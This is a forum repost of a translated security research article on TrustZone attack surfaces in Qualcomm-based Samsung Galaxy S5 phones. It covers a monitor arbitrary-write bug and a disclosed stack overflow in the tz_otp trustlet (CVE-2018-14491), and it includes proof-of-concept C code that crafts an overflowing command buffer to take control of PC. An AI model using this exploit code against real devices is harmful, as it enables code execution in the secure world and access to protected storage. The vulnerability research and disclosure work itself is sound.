用户
搜索

[精品转载] 攻击ARM TrustZone

  • TA的每日心情
    慵懒
    5 天前
  • 签到天数: 99 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    31

    主题

    189

    帖子

    835

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2016-9-7

    春秋文阁

    发表于 2018-9-7 13:01:10 24688
    本帖最后由 天析 于 2018-9-7 05:02 编辑

    本文翻译自:https://blog.quarkslab.com/attacking-the-arms-trustzone.html

    原文地址: http://www.4hou.com/system/13351.html


    上一篇文章中,我们简单介绍了TrustZone,这是第二篇文章,我们将从更具技术含量的层面上来剖析TrustZone暴露给攻击者的攻击面,还有在TrustZone不同的权限下获取代码执行将会带来什么后果。

    TrustZone攻击面

    确定目标的攻击面永远都是漏洞研究过程的第一步,TrustZone的攻击区域通常包括三点:

    1. 直接发送到监视器的消息处理器

    2. 在TrustZone中运行的第三方应用程序(trustlet)。

    3. 安全引导组件,它允许在加载TrustZone之前执行代码,从而能够破坏TrustZone本身。

    本篇文章主要讲解上面提到的前两点中的漏洞,以及它们的影响和如何进行处理。

    跟踪用户输入

    为了进行漏洞探索,必须确定暴露给攻击者的攻击面,比如哪些参数可以影响应用程序。为了做到这一点,我们需要跟踪从普通环境(normal world)传递到安全环境(secure world)的参数,来确定secure world中的函数是如何调用的。

    分析开源通信驱动程序

    要搞清楚参数是如何从normal world中传递到secure world中的,比如在SMC(secure monitor call)中传递参数,那就要好好看看normal world开源驱动程序。正如驱动程序源代码中所描述,执行SMC指令(名为smc)的函数由称为scm_call的函数调用(其中scm代表安全通道管理器)。当信息需要从normal world传递到secure world中时调用函数,通过完成下面的结构来执行此操作:

    由于scm_response结构,我们收到了TrustZone内核的响应:

    下面的列表显示了实际执行SMC操作码的最后一个函数:

    在这个列表中,r1指向内核堆栈地址,r2指向分配的scm_command结构的物理地址。r0设置为1,表示该scm是正常的。不过,对于需要较少数据的命令,或者当不需要结构时,存在另一种形式的scm_call函数。

    另一种形式的SCM叫做scm_call_[1-4],其中数字是传递给监视器的参数编号。这些函数用于发出具有给定参数,服务和命令ID的SMC指令。我们使用macro SCM_ATOMIC函数将服务ID,命令ID和参数放在r0中。由于r0的值不再是1,它会向TrustZone内核指示下面的SCM指令是一个原子调用,其参数编号在r0中编码,而参数本身就放在r2到r5中。

    攻击者的第一个攻击面:安全监视器(基于Qualcomm的设备)

    现在我们已经确定了normal world与secure world如何通信(这多亏了有监视器,充当了不同环境之间的桥梁),我们可以搜索函数和它们的服务ID和命令ID之间的连接。

    为了获得normal world所请求的函数,填充有结构的数组静态的存储在monitor中,此静态数组给攻击者提供了一个攻击面,结构的格式如下:

    1.服务ID和命令ID的连接

    2.指向SCM函数名的指针

    3.一个未知整数

    4.指向处理功能的指针

    5.参数编号

    6.数组由每个参数大小填充,参数类型为整型

    Qualcomm的可信执行环境(TEE)实现中的漏洞

    这个漏洞和监视器消息处理程序的逆向是Gal Beniamini发现完成的,文章在这里。这个漏洞在Samsung S5上成功复现,它可以在处理器的最高权限模式下执行任意代码,这个最高权限模式也就是监控模式(EL3)。

    通过查看SCM中的所有函数并逐一进行审计分析,又在tzbsp_es_is_activated函数中发现了一个新漏洞,这个漏洞允许向攻击者提供的任意地址中写入一个DWORD,值为0,包括TrustZone监视器和内核:

    对于这个漏洞的利用,本文不过多讲解,如果你有兴趣的话,可以参考Gal Beniamini的这篇博客,有详细的分析。

    安装以下补丁可以修复此漏洞:

    漏洞影响

    这个漏洞允许攻击者在监视器运行时执行任意代码,也就是EL3模式。这可以用于在normal world和secure world中植入后门,也可以被用作一个利用工具或者在secure world中插入一个debugger,以便在TrustZone OS中发现新的漏洞。

    第三方应用程序的漏洞(CVE-2018-14491)

    基于Qualcomm设备上的应用程序trustlets可以在/ system / vendor / firmware或/ firmware / image中搜索到,并且拆分成了不同的文件,即trustlet_name.b00,trustlet_name.b01…和trustlet_name.mdt。这个在上一篇文章中说过了,Qualcomm的TrustZone实现使操作系统能够在TrustZone中加载二进制文件,以扩展安全执行环境提供的功能。这些二进制文件称为trustlet。Gal Beniamini对文件系统中的trustlet的格式进行了彻底的逆向分析,并写了一个脚本来重新创建一个可以加载到IDA中的有效的ELF文件。

    不过,对trustlets文件格式进行逆向分析完成之后,还有两个问题:

    1.normal world如何向secure world发起请求来加载trustlet?

    2.Normal world在运行时如何与它通信?

    这些任务由qseecom驱动程序执行,这个驱动程序提供一个API来执行高级任务,依赖于安全通道管理器(特别是scm_call函数)提供的原语。

    加载trustlets所需的所有函数都可以通过这个内核模块获得,该内核模块又使用适当的请求命令ID将正确的结构填充到Secure World中请求的功能。然后,Normal world就可以使用qseecom_load_app函数来加载trustlet,并使用__qseecom_send_cmd函数向其发送数据。

    一旦加载到secure world,内核就会为该trustlet分配一个ID并调用其入口函数。此入口函数将trustlet注册到TrustZone内核,并提供一个处理程序,该程序会在Normal World调用trustlet的功能时触发,如图:

    接下来,本文将重点关注tz_opt V1的trustlet,Samsung Galaxy S5中就是这个版本,我们来分析一下。

    接收消息的处理函数提供不同的函数,并且必须始终以命令otp_init开头,以初始化trustlet的内部状态,而不是陷入琐碎的错误案例处理。查看不同的函数,我们注意到它们都受堆栈cookie的保护,除了一个名为otp_resync_account的函数。查看这个函数中第一行的汇编语言,我们注意到一个BLE指令,它是一个有符号的比较(这对应着hexrays视图中的比较 >384)。这就是一个突破口,因为我们输入缓冲不能包含空字节,因此这意味着对于无符号数字,这种比较的输出总是正值。不过,由于这个有符号的比较,我们可以在缓冲区中传递一个负值,比如0xFFFFFFFF,然后接着调用sub_68F8函数的分支(变量v3 在函数开头被初始化为0)。

    这个函数有一个memcpy漏洞,其length和src参数直接由来自Normal World提供的缓冲区的攻击者控制,我们不需要任何内存泄漏,因为这个函数也没有堆栈cookie!

    另一个突破就是这个memcpy()函数,尤其是因为复制的数据及其长度由用户控制。是的,这意味着在没有cookie的函数中存在栈溢出漏洞。

    漏洞影响

    该漏洞使攻击者能够在EL0 secure world环境中执行任意代码。这是相当危险的,因为它给TrustZone内核提供了执行系统调用的能力,这样一来可以扩大攻击面并在TrustZone内核中提权。此外,它还提供了对TrustZone操作系统功能的访问,例如打开和读取系统调用来访问安全文件系统(SFS)。Secure-filesystem是一个可用于永久存储的加密文件系统。它使用仅来自secure world的特殊硬件密钥加密,然后确认来自可能已遭破坏的normal world中数据的机密性。

    报告漏洞

    这个漏洞已于2018年7月3日报告给三星移动安全公司。三星证实,某些地区或运行商使用的基于高通的三星Galaxy S5确实存在该漏洞。这个易受攻击的组件已经过时,而且在以后的手机产品中会被禁用或删除,也有一些地区或运营商已经采取了措施来降低这个漏洞的影响。三星也表示,他们计划对受影响的手机型号进行修复漏洞。

    漏洞利用

    为了利用此漏洞,我们需要与内核进行交互并且要求它将trustlet加载到TrustZone中。为了方便,我们可以对调整一下Gal Beniamini对Widevine的研究工作来加载和利用tz_otp trustlet。这里可重用的部分是应用程序句柄的初始化,它包括打开libQSEEComAPI.so共享库,公开与内核通信所需的功能并且与TrustZone交互,例如QSEECom_start_app,QSEECom_stop_app和QSEECom_send_cmd函数等。

    libQSEEComAPI.so库允许我们使用以下代码将tz_otp加载 到trustzone:

    [AppleScript] 纯文本查看 复制代码
    int main() {    //Getting the global handle used to interact with QSEECom    struct qcom_wv_handle* handle = initialize_tzotp_handle();    if (handle == NULL) {        perror("[-] Failed to initialize tz_otp handle");        return -errno;    }    //Loading the tz_otp application    int res = (*handle->QSEECom_start_app)((struct QSEECom_handle **)&handle->qseecom,                                            TZOTP_PATH, TZOTP_APP_NAME, TZOTP_BUFFER_SIZE);    if (res < 0) {        perror("[-] Failed to load tz_otp");        return -errno;    }    printf("[+] tz_otp load res: %d\n", res);

    下面的代码允许我们初始化tz_otp状态并触发漏洞:

    [AppleScript] 纯文本查看 复制代码
    int otp_init(struct qcom_tzotp_handle* handle) {     uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000);    uint32_t cmd_resp_size = QSEECOM_ALIGN(8);    uint32_t* cmd_req = malloc(cmd_req_size);    uint32_t* cmd_resp = malloc(cmd_resp_size);     memset(cmd_req, 0, cmd_req_size);    memset(cmd_resp, 'B', cmd_resp_size);     // OTP_INIT    cmd_req[0] = OTP_INIT;    cmd_req[1] = 0;    cmd_req[2] = 0;    cmd_req[3] = 0;    cmd_req[4] = 0;    cmd_req[5] = 0;     int res = (*handle->QSEECom_set_bandwidth)(handle->qseecom, true);    res = (*handle->QSEECom_send_cmd)(handle->qseecom,                                            cmd_req,                                        cmd_req_size,                                        cmd_resp,                                        cmd_resp_size);    return 0;} int craft_buffer(uint32_t *cmd_req, int *index) {     uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000);     memset(cmd_req, 0, cmd_req_size);     // OTP_RESYNC_TOKEN    cmd_req[0] = OTP_RESYNC_TOKEN;    int i;    for (i = 1; i <= 0x551; i++){            cmd_req = 0x41414141;    }     cmd_req[i++] = JUNK;    cmd_req[i++] = JUNK;    cmd_req[i++] = JUNK;     *index = i;     // int overflow on the > 384    cmd_req[286] = 0xFFFFFFFF;     return 0;} int crash(struct qcom_tzotp_handle* handle) {     uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000);    uint32_t cmd_resp_size = QSEECOM_ALIGN(8);    uint32_t* cmd_resp = malloc(cmd_resp_size);    uint32_t* cmd_req = malloc(cmd_req_size);    int i;     otp_init(handle);     memset(cmd_resp, 'B', cmd_resp_size);     craft_buffer(cmd_req, &i);    cmd_req[i++] = JUNK+1; // PC     int res = (*handle->QSEECom_send_cmd)(handle->qseecom,                                            cmd_req,                                        cmd_req_size,                                        cmd_resp,                                        cmd_resp_size);    return 0;}

    trustlet崩溃的结果可以在/ sys / kernel / debug / tzdbg日志文件中找到。可以观察到,如果连续两次崩溃,PC寄存器的值是一样的。这个信息让我们可以获取trustlet内存映射的泄露信息,并且使我们能够执行rop-chain来进行攻击利用。现在,也可以利用TrustZone内核中暴露的任何系统调用。

    重点关注

    这里有两件事情让人惊讶。

    第一件事是堆栈cookie的应用似乎并不是很完善。目前还不是很清楚为什么堆栈cookie不适用于每个函数,我们的一个假设是开发人员必须对一个函数进行注释来告诉编译器,这个函数是受到堆栈cookie保护的。

    第二件事是,尽管存在一种形式的ASLR(随机地址空间分配,作用是防止攻击者直接定位攻击代码位置),但似乎在手机的某个正常运行时间之后,每个trustlet都被有计划有顺序的加载到同一地址,这大大降低了ASLR的初始作用。

    总结

    在本文中,我们讨论了在normal world中为用户提供的两个攻击面,并详细分析了这两个漏洞:监视器中的一个漏洞,这个漏洞的利用允许攻击者在CPU的最高权限异常级别中执行任意代码;另一个漏洞在trustlet中,这个漏洞可以在secure world用户模式(EL0)中执行任意代码。

    最后一个漏洞可以用来审计在TrustZone中运行的安全操作系统的安全性,并且为攻击者开启了一个新的攻击面。


    无聊的渣渣
    发表于 2018-9-7 15:30:56
    提示: 作者被禁止或删除 内容自动屏蔽
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册